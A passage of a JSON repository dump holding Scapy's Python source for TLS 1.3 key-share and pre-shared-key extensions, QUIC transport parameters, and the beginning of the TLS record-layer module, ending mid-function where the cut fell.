    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2017 Maxence Tury\n#               2019 Romain Perez\n\n\"\"\"\nTLS 1.3 key exchange logic.\n\"\"\"\n\nimport struct\n\nfrom scapy.config import conf, crypto_validator\nfrom scapy.error import log_runtime\nfrom scapy.fields import (\n    FieldLenField,\n    IntField,\n    PacketField,\n    PacketLenField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrFixedLenField,\n    StrLenField,\n    XStrLenField,\n)\nfrom scapy.packet import Packet\nfrom scapy.layers.tls.extensions import TLS_Ext_Unknown, _tls_ext\nfrom scapy.layers.tls.cert import PrivKeyECDSA, PrivKeyRSA, PrivKeyEdDSA\nfrom scapy.layers.tls.crypto.groups import (\n    _tls_named_curves,\n    _tls_named_ffdh_groups,\n    _tls_named_groups,\n    _tls_named_groups_generate,\n    _tls_named_groups_import,\n    _tls_named_groups_pubbytes,\n)\n\nif conf.crypto_valid:\n    from cryptography.hazmat.primitives.asymmetric import ec\nif conf.crypto_valid_advanced:\n    from cryptography.hazmat.primitives.asymmetric import ed25519\n    from cryptography.hazmat.primitives.asymmetric import ed448\n\n\nclass KeyShareEntry(Packet):\n    \"\"\"\n    When building from scratch, we create a DH private key, and when\n    dissecting, we create a DH public key. Default group is secp256r1.\n    \"\"\"\n    __slots__ = [\"privkey\", \"pubkey\"]\n    name = \"Key Share Entry\"\n    fields_desc = [ShortEnumField(\"group\", None, _tls_named_groups),\n                   FieldLenField(\"kxlen\", None, length_of=\"key_exchange\"),\n                   XStrLenField(\"key_exchange\", \"\",\n                                length_from=lambda pkt: pkt.kxlen)]\n\n    def __init__(self, *args, **kargs):\n        self.privkey = None\n        self.pubkey = None\n        super(KeyShareEntry, self).__init__(*args, **kargs)\n\n    def do_build(self):\n        \"\"\"\n        We need this hack, else 'self' would be replaced by __iter__.next().\n        \"\"\"\n        tmp = self.explicit\n        self.explicit = True\n        b = super(KeyShareEntry, self).do_build()\n        self.explicit = tmp\n        return b\n\n    @crypto_validator\n    def create_privkey(self):\n        \"\"\"\n        This is called by post_build() for key creation.\n        \"\"\"\n        self.privkey = _tls_named_groups_generate(self.group)\n        self.key_exchange = _tls_named_groups_pubbytes(self.privkey)\n\n    def post_build(self, pkt, pay):\n        if self.group is None:\n            self.group = 23     # secp256r1\n\n        if not self.key_exchange:\n            try:\n                self.create_privkey()\n            except ImportError:\n                pass\n\n        if self.kxlen is None:\n            self.kxlen = len(self.key_exchange)\n\n        group = struct.pack(\"!H\", self.group)\n        kxlen = struct.pack(\"!H\", self.kxlen)\n        return group + kxlen + self.key_exchange + pay\n\n    @crypto_validator\n    def register_pubkey(self):\n        self.pubkey = _tls_named_groups_import(\n            self.group,\n            self.key_exchange\n        )\n\n    def post_dissection(self, r):\n        try:\n            self.register_pubkey()\n        except ImportError:\n            pass\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass TLS_Ext_KeyShare_CH(TLS_Ext_Unknown):\n    name = \"TLS Extension - Key Share (for ClientHello)\"\n    fields_desc = [ShortEnumField(\"type\", 0x33, _tls_ext),\n                   ShortField(\"len\", None),\n                   FieldLenField(\"client_shares_len\", None,\n                                 length_of=\"client_shares\"),\n                   PacketListField(\"client_shares\", [], KeyShareEntry,\n                                   length_from=lambda pkt: pkt.client_shares_len)]  # noqa: E501\n\n    def post_build(self, pkt, pay):\n        if not self.tls_session.frozen:\n            privshares = self.tls_session.tls13_client_privshares\n            for kse in self.client_shares:\n                if kse.privkey:\n                    if _tls_named_groups[kse.group] in privshares:\n                        pkt_info = pkt.firstlayer().summary()\n                        log_runtime.info(\"TLS: group %s used twice in the same ClientHello [%s]\", kse.group, pkt_info)  # noqa: E501\n                        break\n                    privshares[_tls_named_groups[kse.group]] = kse.privkey\n        return super(TLS_Ext_KeyShare_CH, self).post_build(pkt, pay)\n\n    def post_dissection(self, r):\n        if not self.tls_session.frozen:\n            for kse in self.client_shares:\n                if kse.pubkey:\n                    pubshares = self.tls_session.tls13_client_pubshares\n                    if _tls_named_groups[kse.group] in pubshares:\n                        pkt_info = r.firstlayer().summary()\n                        log_runtime.info(\"TLS: group %s used twice in the same ClientHello [%s]\", kse.group, pkt_info)  # noqa: E501\n                        break\n                    pubshares[_tls_named_groups[kse.group]] = kse.pubkey\n        return super(TLS_Ext_KeyShare_CH, self).post_dissection(r)\n\n\nclass TLS_Ext_KeyShare_HRR(TLS_Ext_Unknown):\n    name = \"TLS Extension - Key Share (for HelloRetryRequest)\"\n    fields_desc = [ShortEnumField(\"type\", 0x33, _tls_ext),\n                   ShortField(\"len\", None),\n                   ShortEnumField(\"selected_group\", None, _tls_named_groups)]\n\n\nclass TLS_Ext_KeyShare_SH(TLS_Ext_Unknown):\n    name = \"TLS Extension - Key Share (for ServerHello)\"\n    fields_desc = [ShortEnumField(\"type\", 0x33, _tls_ext),\n                   ShortField(\"len\", None),\n                   PacketField(\"server_share\", None, KeyShareEntry)]\n\n    def post_build(self, pkt, pay):\n        if not self.tls_session.frozen and self.server_share.privkey:\n            # if there is a privkey, we assume the crypto library is ok\n            privshare = self.tls_session.tls13_server_privshare\n            if len(privshare) > 0:\n                pkt_info = pkt.firstlayer().summary()\n                log_runtime.info(\"TLS: overwriting previous server key share [%s]\", pkt_info)  # noqa: E501\n            group_name = _tls_named_groups[self.server_share.group]\n            privshare[group_name] = self.server_share.privkey\n\n            if group_name in self.tls_session.tls13_client_pubshares:\n                privkey = self.server_share.privkey\n                pubkey = self.tls_session.tls13_client_pubshares[group_name]\n                if group_name in _tls_named_ffdh_groups.values():\n                    pms = privkey.exchange(pubkey)\n                elif group_name in _tls_named_curves.values():\n                    if group_name in [\"x25519\", \"x448\"]:\n                        pms = privkey.exchange(pubkey)\n                    else:\n                        pms = privkey.exchange(ec.ECDH(), pubkey)\n                self.tls_session.tls13_dhe_secret = pms\n                self.tls_session.kx_group = group_name\n        return super(TLS_Ext_KeyShare_SH, self).post_build(pkt, pay)\n\n    def post_dissection(self, r):\n        if not self.tls_session.frozen and self.server_share.pubkey:\n            # if there is a pubkey, we assume the crypto library is ok\n            pubshare = self.tls_session.tls13_server_pubshare\n            if pubshare:\n                pkt_info = r.firstlayer().summary()\n                log_runtime.info(\"TLS: overwriting previous server key share [%s]\", pkt_info)  # noqa: E501\n            group_name = _tls_named_groups[self.server_share.group]\n            pubshare[group_name] = self.server_share.pubkey\n\n            if group_name in self.tls_session.tls13_client_privshares:\n                pubkey = self.server_share.pubkey\n                privkey = self.tls_session.tls13_client_privshares[group_name]\n                if group_name in _tls_named_ffdh_groups.values():\n                    pms = privkey.exchange(pubkey)\n                elif group_name in _tls_named_curves.values():\n                    if group_name in [\"x25519\", \"x448\"]:\n                        pms = privkey.exchange(pubkey)\n                    else:\n                        pms = privkey.exchange(ec.ECDH(), pubkey)\n                self.tls_session.tls13_dhe_secret = pms\n                self.tls_session.kx_group = group_name\n            elif group_name in self.tls_session.tls13_server_privshare:\n                pubkey = self.tls_session.tls13_client_pubshares[group_name]\n                privkey = self.tls_session.tls13_server_privshare[group_name]\n                if group_name in _tls_named_ffdh_groups.values():\n                    pms = privkey.exchange(pubkey)\n                elif group_name in _tls_named_curves.values():\n                    if group_name in [\"x25519\", \"x448\"]:\n                        pms = privkey.exchange(pubkey)\n                    else:\n                        pms = privkey.exchange(ec.ECDH(), pubkey)\n                self.tls_session.tls13_dhe_secret = pms\n                self.tls_session.kx_group = group_name\n        return super(TLS_Ext_KeyShare_SH, self).post_dissection(r)\n\n\n_tls_ext_keyshare_cls = {1: TLS_Ext_KeyShare_CH,\n                         2: TLS_Ext_KeyShare_SH}\n\n_tls_ext_keyshare_hrr_cls = {2: TLS_Ext_KeyShare_HRR}\n\n\nclass Ticket(Packet):\n    name = \"Recommended Ticket Construction (from RFC 5077)\"\n    fields_desc = [StrFixedLenField(\"key_name\", None, 16),\n                   StrFixedLenField(\"iv\", None, 16),\n                   FieldLenField(\"encstatelen\", None, length_of=\"encstate\"),\n                   StrLenField(\"encstate\", \"\",\n                               length_from=lambda pkt: pkt.encstatelen),\n                   StrFixedLenField(\"mac\", None, 32)]\n\n\nclass TicketField(PacketLenField):\n    def m2i(self, pkt, m):\n        if len(m) < 64:\n            # Minimum ticket size is 64 bytes\n            return conf.raw_layer(m)\n        return self.cls(m)\n\n\nclass PSKIdentity(Packet):\n    name = \"PSK Identity\"\n    fields_desc = [FieldLenField(\"identity_len\", None,\n                                 length_of=\"identity\"),\n                   TicketField(\"identity\", \"\", Ticket,\n                               length_from=lambda pkt: pkt.identity_len),\n                   IntField(\"obfuscated_ticket_age\", 0)]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass PSKBinderEntry(Packet):\n    name = \"PSK Binder Entry\"\n    fields_desc = [FieldLenField(\"binder_len\", None, fmt=\"B\",\n                                 length_of=\"binder\"),\n                   StrLenField(\"binder\", \"\",\n                               length_from=lambda pkt: pkt.binder_len)]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass TLS_Ext_PreSharedKey_CH(TLS_Ext_Unknown):\n    # XXX define post_build and post_dissection methods\n    name = \"TLS Extension - Pre Shared Key (for ClientHello)\"\n    fields_desc = [ShortEnumField(\"type\", 0x29, _tls_ext),\n                   ShortField(\"len\", None),\n                   FieldLenField(\"identities_len\", None,\n                                 length_of=\"identities\"),\n                   PacketListField(\"identities\", [], PSKIdentity,\n                                   length_from=lambda pkt: pkt.identities_len),\n                   FieldLenField(\"binders_len\", None,\n                                 length_of=\"binders\"),\n                   PacketListField(\"binders\", [], PSKBinderEntry,\n                                   length_from=lambda pkt: pkt.binders_len)]\n\n\nclass TLS_Ext_PreSharedKey_SH(TLS_Ext_Unknown):\n    name = \"TLS Extension - Pre Shared Key (for ServerHello)\"\n    fields_desc = [ShortEnumField(\"type\", 0x29, _tls_ext),\n                   ShortField(\"len\", None),\n                   ShortField(\"selected_identity\", None)]\n\n\n_tls_ext_presharedkey_cls = {1: TLS_Ext_PreSharedKey_CH,\n                             2: TLS_Ext_PreSharedKey_SH}\n\n\n# Util to find usable signature algorithms\n\n# TLS 1.3 SignatureScheme is a subset of _tls_hash_sig\n_tls13_usable_certificate_verify_algs = [\n    # ECDSA algorithms\n    0x0403, 0x0503, 0x0603,\n    # RSASSA-PSS algorithms with public key OID rsaEncryption\n    0x0804, 0x0805, 0x0806,\n    # EdDSA algorithms\n    0x0807, 0x0808,\n]\n\n_tls13_usable_certificate_signature_algs = [\n    # RSASSA-PKCS1-v1_5 algorithms\n    0x0401, 0x0501, 0x0601,\n    # ECDSA algorithms\n    0x0403, 0x0503, 0x0603,\n    # EdDSA algorithms\n    0x0807, 0x0808,\n    # RSASSA-PSS algorithms with public key OID RSASSA-PSS\n    0x0809, 0x080a, 0x080b,\n    # Legacy algorithms\n    0x0201, 0x0203,\n]\n\n\ndef get_usable_tls13_sigalgs(li, key, location=\"certificateverify\"):\n    \"\"\"\n    From a list of proposed signature algorithms, this function returns a list of\n    usable signature algorithms.\n    The order of the signature algorithms in the list returned by the\n    function matches the one of the proposal.\n    \"\"\"\n    from scapy.layers.tls.keyexchange import _tls_hash_sig\n    res = []\n    if isinstance(key, PrivKeyRSA):\n        kx = \"rsa\"\n    elif isinstance(key, PrivKeyECDSA):\n        kx = \"ecdsa\"\n    elif isinstance(key, PrivKeyEdDSA):\n        if isinstance(key.pubkey.pubkey, ed25519.Ed25519PublicKey):\n            kx = \"ed25519\"\n        elif isinstance(key.pubkey.pubkey, ed448.Ed448PublicKey):\n            kx = \"ed448\"\n        else:\n            kx = \"unknown\"\n    else:\n        return res\n    if location == \"certificateverify\":\n        algs = _tls13_usable_certificate_verify_algs\n    elif location == \"certificatesignature\":\n        algs = _tls13_usable_certificate_signature_algs\n    else:\n        return res\n    for c in li:\n        if c in algs:\n            sigalg = _tls_hash_sig[c]\n            if \"+\" in sigalg:\n                _, sig = sigalg.split('+')\n            else:\n                sig = sigalg\n            if kx in sig:\n                res.append(c)\n    return res\n"
  },
  {
    "path": "scapy/layers/tls/quic.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nRFC9000 QUIC Transport Parameters\n\"\"\"\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.fields import (\n    PacketListField,\n    FieldLenField,\n    StrLenField,\n)\nfrom scapy.packet import Packet\n\nfrom scapy.layers.quic import (\n    QuicVarIntField,\n    QuicVarLenField,\n    QuicVarEnumField,\n)\n\n\n_QUIC_TP_type = {\n    0x00: \"original_destination_connection_id\",\n    0x01: \"max_idle_timeout\",\n    0x02: \"stateless_reset_token\",\n    0x03: \"max_udp_payload_size\",\n    0x04: \"initial_max_data\",\n    0x05: \"initial_max_stream_data_bidi_local\",\n    0x06: \"initial_max_stream_data_bidi_remote\",\n    0x07: \"initial_max_stream_data_uni\",\n    0x08: \"initial_max_streams_bidi\",\n    0x09: \"initial_max_streams_uni\",\n    0x0A: \"ack_delay_exponent\",\n    0x0B: \"max_ack_delay\",\n    0x0C: \"disable_active_migration\",\n    0x0D: \"preferred_address\",\n    0x0E: \"active_connection_id_limit\",\n    0x0F: \"initial_source_connection_id\",\n    0x10: \"retry_source_connection_id\",\n}\n\n# Generic values\n\n\nclass QUIC_TP_Unknown(Packet):\n    name = \"QUIC Transport Parameter - Scapy Unknown\"\n    fields_desc = [\n        QuicVarEnumField(\"type\", None, _QUIC_TP_type),\n        QuicVarLenField(\"len\", None, length_of=\"value\"),\n        StrLenField(\"value\", None, length_from=lambda pkt: pkt.len),\n    ]\n\n    def default_payload_class(self, _):\n        return conf.padding_layer\n\n\nclass _QUIC_VarInt_Len(FieldLenField):\n    def i2m(self, pkt, x):\n        if x is None and pkt is not None:\n            fld, fval = pkt.getfield_and_val(self.length_of)\n            value = fld.i2len(pkt, fval) or 0\n            if value < 0 or value > 0xFFFFFFFF:\n                raise struct.error(\"requires 0 <= number <= 0xFFFFFFFF\")\n            if value < 0x100:\n                return 1\n            elif value < 0x10000:\n                return 2\n            elif value < 0x100000000:\n                return 3\n            else:\n                return 4\n        elif x is None:\n            return 1\n        return x\n\n\nclass _QUIC_TP_VarIntValue(QUIC_TP_Unknown):\n    fields_desc = [\n        QuicVarEnumField(\"type\", None, _QUIC_TP_type),\n        _QUIC_VarInt_Len(\"len\", None, length_of=\"value\", fmt=\"B\"),\n        QuicVarIntField(\"value\", None),\n    ]\n\n\n# RFC 9000 sect 18.2\n\n\nclass QUIC_TP_OriginalDestinationConnectionId(QUIC_TP_Unknown):\n    name = \"QUIC Transport Parameters - Original Destination Connection Id\"\n    type = 0x00\n\n\nclass QUIC_TP_MaxIdleTimeout(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Max Idle Timeout\"\n    type = 0x01\n\n\nclass QUIC_TP_StatelessResetToken(QUIC_TP_Unknown):\n    name = \"QUIC Transport Parameters - Stateless Reset Token\"\n    type = 0x02\n\n\nclass QUIC_TP_MaxUdpPayloadSize(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Max Udp Payload Size\"\n    type = 0x03\n\n\nclass QUIC_TP_InitialMaxData(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Initial Max Data\"\n    type = 0x04\n\n\nclass QUIC_TP_InitialMaxStreamDataBidiLocal(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Initial Max Stream Data Bidi Local\"\n    type = 0x05\n\n\nclass QUIC_TP_InitialMaxStreamDataBidiRemote(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Initial Max Stream Data Bidi Remote\"\n    type = 0x06\n\n\nclass QUIC_TP_InitialMaxStreamDataUni(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Initial Max Stream Data Uni\"\n    type = 0x07\n\n\nclass QUIC_TP_InitialMaxStreamsBidi(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Initial Max Streams Bidi\"\n    type = 0x08\n\n\nclass QUIC_TP_InitialMaxStreamsUni(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Initial Max Streams Uni\"\n    type = 0x09\n\n\nclass QUIC_TP_AckDelayExponent(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Ack Delay Exponent\"\n    type = 0x0A\n\n\nclass QUIC_TP_MaxAckDelay(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Max Ack Delay\"\n    type = 0x0B\n\n\nclass QUIC_TP_DisableActiveMigration(QUIC_TP_Unknown):\n    name = \"QUIC Transport Parameters - Disable Active Migration\"\n    fields_desc = [\n        QuicVarEnumField(\"type\", 0x0C, _QUIC_TP_type),\n        QuicVarIntField(\"len\", 0),\n    ]\n\n\nclass QUIC_TP_PreferredAddress(QUIC_TP_Unknown):\n    name = \"QUIC Transport Parameters - Preferred Address\"\n    type = 0x0D\n\n\nclass QUIC_TP_ActiveConnectionIdLimit(_QUIC_TP_VarIntValue):\n    name = \"QUIC Transport Parameters - Active Connection Id Limit\"\n    type = 0x0E\n\n\nclass QUIC_TP_InitialSourceConnectionId(QUIC_TP_Unknown):\n    name = \"QUIC Transport Parameters - Initial Source Connection Id\"\n    type = 0x0F\n\n\nclass QUIC_TP_RetrySourceConnectionId(QUIC_TP_Unknown):\n    name = \"QUIC Transport Parameters - Retry Source Connection Id\"\n    type = 0x10\n\n\n_QUIC_TP_cls = {\n    0x00: QUIC_TP_OriginalDestinationConnectionId,\n    0x01: QUIC_TP_MaxIdleTimeout,\n    0x02: QUIC_TP_StatelessResetToken,\n    0x03: QUIC_TP_MaxUdpPayloadSize,\n    0x04: QUIC_TP_InitialMaxData,\n    0x05: QUIC_TP_InitialMaxStreamDataBidiLocal,\n    0x06: QUIC_TP_InitialMaxStreamDataBidiRemote,\n    0x07: QUIC_TP_InitialMaxStreamDataUni,\n    0x08: QUIC_TP_InitialMaxStreamsBidi,\n    0x09: QUIC_TP_InitialMaxStreamsUni,\n    0x0A: QUIC_TP_AckDelayExponent,\n    0x0B: QUIC_TP_MaxAckDelay,\n    0x0C: QUIC_TP_DisableActiveMigration,\n    0x0D: QUIC_TP_PreferredAddress,\n    0x0E: QUIC_TP_ActiveConnectionIdLimit,\n    0x0F: QUIC_TP_InitialSourceConnectionId,\n    0x10: QUIC_TP_RetrySourceConnectionId,\n}\n\n\nclass _QuicTransportParametersField(PacketListField):\n    _varfield = QuicVarIntField(\"\", 0)\n\n    def __init__(self, name, default, **kwargs):\n        kwargs[\"next_cls_cb\"] = self.cls_from_quictptype\n        super(_QuicTransportParametersField, self).__init__(\n            name,\n            default,\n            **kwargs,\n        )\n\n    @classmethod\n    def cls_from_quictptype(cls, pkt, lst, cur, remain):\n        _, typ = cls._varfield.getfield(None, remain)\n        return _QUIC_TP_cls.get(\n            typ,\n            QUIC_TP_Unknown,\n        )\n"
  },
  {
    "path": "scapy/layers/tls/record.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n#               2019 Romain Perez\n#               2019 Gabriel Potter\n\n\"\"\"\nCommon TLS fields & bindings.\n\nThis module covers the record layer, along with the ChangeCipherSpec, Alert and\nApplicationData submessages. For the Handshake type, see tls_handshake.py.\n\nSee the TLS class documentation for more information.\n\"\"\"\n\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.error import log_runtime\nfrom scapy.fields import ByteEnumField, PacketListField, StrField\nfrom scapy.compat import raw, chb, orb\nfrom scapy.utils import randstring\nfrom scapy.packet import Raw, Padding, bind_layers\nfrom scapy.layers.inet import TCP\nfrom scapy.layers.tls.session import _GenericTLSSessionInheritance\nfrom scapy.layers.tls.handshake import (_tls_handshake_cls, _TLSHandshake,\n                                        _tls13_handshake_cls, TLS13ServerHello,\n                                        TLS13ClientHello)\nfrom scapy.layers.tls.basefields import (_TLSVersionField, _tls_version,\n                                         _TLSIVField, _TLSMACField,\n                                         _TLSPadField, _TLSPadLenField,\n                                         _TLSLengthField, _tls_type)\nfrom scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp\nfrom scapy.layers.tls.crypto.cipher_aead import AEADTagError\nfrom scapy.layers.tls.crypto.cipher_stream import Cipher_NULL\nfrom scapy.layers.tls.crypto.common import CipherError\nfrom scapy.layers.tls.crypto.h_mac import HMACError\nif conf.crypto_valid_advanced:\n    from scapy.layers.tls.crypto.cipher_aead import Cipher_CHACHA20_POLY1305\n\n\n###############################################################################\n#   TLS Record Protocol                                                       #\n###############################################################################\n\n\nclass _TLSEncryptedContent(Raw, _GenericTLSSessionInheritance):\n    \"\"\"\n    When the content of a TLS record (more precisely, a TLSCiphertext) could\n    not be deciphered, we use this class to represent the encrypted data.\n    The MAC will still be parsed from the whole message, even though it could\n    not been verified. When present (depending on cipher type and protocol\n    version), the nonce_explicit, IV and/or padding will also be parsed.\n    \"\"\"\n    name = \"Encrypted Content\"\n    match_subclass = True\n\n\nclass _TLSMsgListField(PacketListField):\n    \"\"\"\n    This is the actual content of the TLS record. As a TLS record may pack\n    multiple sublayer messages (notably, several handshake messages),\n    we inherit from PacketListField.\n    \"\"\"\n\n    def __init__(self, name, default, length_from=None):\n        if not length_from:\n            length_from = self._get_length\n        super(_TLSMsgListField, self).__init__(name, default, None,\n                                               length_from=length_from)\n\n    def _get_length(self, pkt):\n        if pkt.deciphered_len is None:\n            return pkt.len\n        return pkt.deciphered_len\n\n    def m2i(self, pkt, m):\n        \"\"\"\n        Try to parse one of the TLS subprotocols (ccs, alert, handshake or\n        application_data). This is used inside a loop managed by .getfield().\n        \"\"\"\n        cls = Raw\n        if pkt.type == 22:\n            if len(m) >= 1:\n                msgtype = orb(m[0])\n                # If a version was agreed on by both client and server,\n                # we use it (tls_session.tls_version)\n                # Otherwise, if the client advertised for TLS 1.3, we try to\n                # dissect the following packets (most likely, server hello)\n                # using TLS 1.3. The serverhello is able to fallback on\n                # TLS 1.2 if necessary. In any case, this will set the agreed\n                # version so that all future packets are correct.\n                if ((pkt.tls_session.advertised_tls_version == 0x0304 and\n                        pkt.tls_session.tls_version is None) or\n                        pkt.tls_session.tls_version == 0x0304):\n                    cls = _tls13_handshake_cls.get(msgtype, Raw)\n                else:\n                    cls = _tls_handshake_cls.get(msgtype, Raw)\n\n        elif pkt.type == 20:\n            cls = TLSChangeCipherSpec\n        elif pkt.type == 21:\n            cls = TLSAlert\n        elif pkt.type == 23:\n            cls = TLSApplicationData\n\n        if cls is Raw:\n            return Raw(m)\n        else:\n            try:\n                return cls(m, tls_session=pkt.tls_session)\n            except Exception:\n                if conf.debug_dissector:\n                    raise\n                return Raw(m)\n\n    def getfield(self, pkt, s):\n        \"\"\"\n        If the decryption of the content did not fail with a CipherError,\n        we begin a loop on the clear content in order to get as much messages\n        as possible, of the type advertised in the record header. This is\n        notably important for several TLS handshake implementations, which\n        may for instance pack a server_hello, a certificate, a\n        server_key_exchange and a server_hello_done, all in one record.\n        Each parsed message may update the TLS context through their method\n        .post_dissection_tls_session_update().\n\n        If the decryption failed with a CipherError, presumably because we\n        missed the session keys, we signal it by returning a\n        _TLSEncryptedContent packet which simply contains the ciphered data.\n        \"\"\"\n        tmp_len = self.length_from(pkt)\n        lst = []\n        ret = b\"\"\n        remain = s\n        if tmp_len is not None:\n            remain, ret = s[:tmp_len], s[tmp_len:]\n\n        if remain == b\"\":\n            if (((pkt.tls_session.tls_version or 0x0303) > 0x0200) and\n                    hasattr(pkt, \"type\") and pkt.type == 23):\n                return ret, [TLSApplicationData(data=b\"\")]\n            elif hasattr(pkt, \"type\") and pkt.type == 20:\n                return ret, [TLSChangeCipherSpec()]\n            else:\n                return ret, [Raw(load=b\"\")]\n\n        if False in pkt.tls_session.rcs.cipher.ready.values():\n            return ret, _TLSEncryptedContent(remain)\n        else:\n            while remain:\n                raw_msg = remain\n                p = self.m2i(pkt, remain)\n                if Padding in p:\n                    pad = p[Padding]\n                    remain = pad.load\n                    del pad.underlayer.payload\n                    if len(remain) != 0:\n                        raw_msg = raw_msg[:-len(remain)]\n                else:\n                    remain = b\"\"\n\n                if isinstance(p, _GenericTLSSessionInheritance):\n                    if not p.tls_session.frozen:\n                        p.post_dissection_tls_session_update(raw_msg)\n\n                lst.append(p)\n            return remain + ret, lst\n\n    def i2m(self, pkt, p):\n        \"\"\"\n        Update the context with information from the built packet.\n        If no type was given at the record layer, we try to infer it.\n        \"\"\"\n        cur = b\"\"\n        if isinstance(p, _GenericTLSSessionInheritance):\n            if pkt.type is None:\n                if isinstance(p, TLSChangeCipherSpec):\n                    pkt.type = 20\n                elif isinstance(p, TLSAlert):\n                    pkt.type = 21\n                elif isinstance(p, _TLSHandshake):\n                    pkt.type = 22\n                elif isinstance(p, TLSApplicationData):\n                    pkt.type = 23\n            p.tls_session = pkt.tls_session\n            if not pkt.tls_session.frozen:\n                cur = p.raw_stateful()\n                p.post_build_tls_session_update(cur)\n            else:\n                cur = raw(p)\n        else:\n            pkt.type = 23\n            cur = raw(p)\n        return cur\n\n    def addfield(self, pkt, s, val):\n        \"\"\"\n        Reconstruct the header because the TLS type may have been updated.\n        Then, append the content.\n        \"\"\"\n        res = b\"\"\n        for p in val:\n            res += self.i2m(pkt, p)\n\n        # Add TLS13ClientHello in case of HelloRetryRequest\n        # Add ChangeCipherSpec for middlebox compatibility\n        if (isinstance(pkt, _GenericTLSSessionInheritance) and\n                pkt.tls_session.tls_version == 0x0304 and\n                not isinstance(pkt.msg[0], TLS13ServerHello) and\n                not isinstance(pkt.msg[0], TLS13ClientHello) and\n                not isinstance(pkt.msg[0], TLSChangeCipherSpec)):\n            return s + res\n\n        if not pkt.type:\n            pkt.type = 0\n\n        hdr = struct.pack(\"!B\", pkt.type) + s[1:5]\n        return hdr + res\n\n\ndef _ssl_looks_like_sslv2(dat):\n    \"\"\"\n    This is a copycat of wireshark's `packet-tls.c` ssl_looks_like_sslv2\n    \"\"\"\n    if len(dat) < 3:\n        return\n    from scapy.layers.tls.handshake_sslv2 import _sslv2_handshake_type\n    return ord(dat[:1]) >= 0x80 and ord(dat[2:3]) in _sslv2_handshake_type\n\n\nclass TLS(_GenericTLSSessionInheritance):\n    \"\"\"\n    The generic TLS Record message, based on section 6.2 of RFC 5246.\n\n    When reading a TLS message, we try to parse as much as we can.\n    In .pre_dissect(), according to the type of the current cipher algorithm\n    (self.tls_session.rcs.cipher.type), we extract the 'iv', 'mac', 'pad' and\n    'padlen'. Some of these fields may remain blank: for instance, when using\n    a stream cipher, there is no IV nor any padding. The 'len' should always\n    hold the length of the ciphered message; for the plaintext version, you\n    should rely on the additional 'deciphered_len' attribute.\n\n    XXX Fix 'deciphered_len' which should not be defined when failing with\n    AEAD decryption. This is related to the 'decryption_success' below.\n    Also, follow this behaviour in record_sslv2.py and record_tls13.py\n\n    Once we have isolated the ciphered message aggregate (which should be one\n    or several TLS messages of the same type), we try to decipher it. Either we\n    succeed and store the clear data in 'msg', or we graciously fail with a\n    CipherError and store the ciphered data in 'msg'.\n\n    Unless the user manually provides the session secrets through the passing\n    of a 'tls_session', obviously the ciphered messages will not be deciphered.\n    Indeed, the need for a proper context may also present itself when trying\n    to parse clear handshake messages.\n\n    For instance, suppose you sniffed the beginning of a DHE-RSA negotiation::\n\n        t1 = TLS(<client_hello>)\n        t2 = TLS(<server_hello | certificate | server_key_exchange>)\n        t3 = TLS(<server_hello | certificate | server_key_exchange>,\n                 tls_session=t1.tls_session)\n\n    (Note that to do things properly, here 't1.tls_session' should actually be\n    't1.tls_session.mirror()'. See session.py for explanations.)\n\n    As no context was passed to t2, neither was any client_random. Hence Scapy\n    will not be able to verify the signature of the server_key_exchange inside\n    t2. However, it should be able to do so for t3, thanks to the tls_session.\n    The consequence of not having a complete TLS context is even more obvious\n    when trying to parse ciphered content, as we described before.\n\n    Thus, in order to parse TLS-protected communications with Scapy:\n    _either Scapy reads every message from one side of the TLS connection and\n    builds every message from the other side (as such, it should know the\n    secrets needed for the generation of the pre_master_secret), while passing\n    the same tls_session context (this is how our automaton.py mostly works);\n    _or, if Scapy did not build any TLS message, it has to create a TLS context\n    and feed it with secrets retrieved by whatever technique. Note that the\n    knowing the private key of the server certificate will not be sufficient\n    if a PFS ciphersuite was used. However, if you got a master_secret somehow,\n    use it with tls_session.(w|r)cs.derive_keys() and leave the rest to Scapy.\n\n    When building a TLS message with raw_stateful, we expect the tls_session to\n    have the right parameters for ciphering. Else, .post_build() might fail.\n    \"\"\"\n    __slots__ = [\"deciphered_len\"]\n    name = \"TLS\"\n    fields_desc = [ByteEnumField(\"type\", None, _tls_type),\n                   _TLSVersionField(\"version\", None, _tls_version),\n                   _TLSLengthField(\"len\", None),\n                   _TLSIVField(\"iv\", None),\n                   _TLSMsgListField(\"msg\", []),\n                   _TLSMACField(\"mac\", None),\n                   _TLSPadField(\"pad\", None),\n                   _TLSPadLenField(\"padlen\", None)]\n\n    def __init__(self, *args, **kargs):\n        self.deciphered_len = kargs.get(\"deciphered_len\", None)\n        super(TLS, self).__init__(*args, **kargs)\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        If the TLS class was called on raw SSLv2 data, we want to return an\n        SSLv2 record instance. We acknowledge the risk of SSLv2 packets with a\n        msglen of 0x1403, 0x1503, 0x1603 or 0x1703 which will never be casted\n        as SSLv2 records but TLS ones instead, but hey, we can't be held\n        responsible for low-minded extensibility choices.\n        \"\"\"\n        if _pkt is not None:\n            plen = len(_pkt)\n            if plen >= 2:\n                byte0, byte1 = 